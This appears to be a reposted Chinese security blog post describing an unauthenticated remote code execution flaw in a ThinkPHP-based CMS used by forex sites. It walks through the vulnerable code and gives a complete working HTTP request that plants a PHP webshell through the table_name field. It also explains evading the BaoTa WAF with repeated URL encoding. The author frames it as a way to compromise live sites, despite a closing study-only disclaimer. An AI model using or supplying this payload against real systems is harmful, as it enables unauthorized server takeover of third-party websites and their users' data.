实战 | 某外汇常用CMS通用未授权RCE

某妞子发给我的一个cms，有各种注入，但是网上大部分站点都是用宝塔搭建的，并且开了waf的功能，索性审一个rce直接日下。

程序是基于ThinkPHP3.1.3进行二次开发的，直接根据特征从Github找了个源代码下来审，注入就不说了，直接看RCE：

Admin/Lib/Action/typeAction.class.php

public function add_save(){ $data=pg('data'); M('classify_type')->data($data)->add();  $sql=' CREATE TABLE index_'.$data['table_name'].' ( '.$data['table_name'].'_id int(10) NOT NULL AUTO_INCREMENT, type_id int(10) NOT NULL, date int(10) NOT NULL, title varchar(99) NOT NULL, keywords varchar(99) NOT NULL, description varchar(10) NOT NULL, version_id int(10) NOT NULL, PRIMARY KEY ('.$data['table_name'].'_id) ) ENGINE=InnoDB DEFAULT CHARSET=utf8;'; M()->query($sql);  if(!file_exists('Index/Lib/Action/'.$data['table_name'].'Action.class.php')) { copy('Index/Lib/Action/messageAction.class.php','Index/Lib/Action/'.$data['table_name'].'Action.class.php'); $content=read_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php'); $content=str_replace('messageAction',$data['table_name'].'Action',$content); write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content); copy_dir('Index/Tpl/message','Index/Tpl/'.$data['table_name']); }  echo '操作成功'; }

直接从参数获取data数组，没有任何检验/过滤/认证，后面用了write_file函数，跟进去看看

ThinkPHP/Common/common.php

function write_file($path,$data){ creat_file($path); $fp=fopen($path,"w+"); if(!fwrite($fp,$data)) { return false; } else { fclose($fp); return true; }}

很简单的一个函数，根据参数直接写文件，再回头看看刚才的代码：

write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);

文件名是php格式，如果$content可控，那就直接RCE了，$content内容是复制Index/Lib/Action/messageAction.class.php的，然后根据指定参数进行替换，先看下代码：

Index/Lib/Action/messageAction.class.php

<?phpclass messageAction extends Action { public function index(){ $this->display(); }  public function details(){ $this->display(); } public function add_save(){ $data = pg('data'); $type_id = $data['type_id']; $classify_id = pg('classify_id'); $table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name'); $content = M($table_name)->where(array($table_name.'_id' => $content_id))->select(); $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select(); foreach($list as $k => $v){ $data[$v['field_name']]=serialize($data[$v['field_name']]); }  $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select(); foreach($list as $k => $v){ if(!empty($_FILES[$v['field_name']]['tmp_name'])){ $data[$v['field_name']] = $this->up_file(array('name' => $v['field_name'])); } }  $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select(); foreach($list as $k => $v) { $data[$v['field_name']]=strtotime($data[$v['field_name']]); }  $id = M($table_name)->data($data)->add(); M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add(); $this->success('提交成功'); }}

也就是第二行的messageAction会替换成参数指定的，但是文件名同时也会被修改，所以很多Payload在这边是没办法使用的，然后还有一个宝塔WAF要绕过，直接给Payload：

POST /admin.php?m=type&a=add_save HTTP/1.1Host: www.xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: */*Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 205Connection: closePragma: no-cacheCache-Control: no-cache data%5Bdate%5D=1606456937&data%5Btype_name%5D=123&data%5Btable_name%5D=abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class &data%5Bpage_name%5D=index

大部分的函数在流量就被拦截了，但是他忽略了urlencode，只需要多弄几个urlencode就可以绕过流量了。

最后建立的文件长这样：

http://www.xxx.com/Index/Lib/Action/abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action.class.php

<?phpclass abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action extends Action { public function index(){ $this->display(); }  public function details(){ $this->display(); } public function add_save(){ $data = pg('data'); $type_id = $data['type_id']; $classify_id = pg('classify_id'); $table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name'); $content = M($table_name)->where(array($table_name.'_id' => $content_id))->select(); $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select(); foreach($list as $k => $v){ $data[$v['field_name']]=serialize($data[$v['field_name']]); }  $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select(); foreach($list as $k => $v){ if(!empty($_FILES[$v['field_name']]['tmp_name'])){ $data[$v['field_name']] = $this->up_file(array('name' => $v['field_name'])); } }  $list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select(); foreach($list as $k => $v) { $data[$v['field_name']]=strtotime($data[$v['field_name']]); }  $id = M($table_name)->data($data)->add(); M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add(); $this->success('提交成功'); }}

作者：hzllaga来源：https://wtfsec.org/posts/%e6%9f%90%e5%a4%96%e6%b1%87%e5%b8%b8%e7%94%a8cms%e9%80%9a%e7%94%a8%e6%9c%aa%e6%8e%88%e6%9d%83rce/如有侵权，请联系删除

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！

如侵权请私聊我们删文

END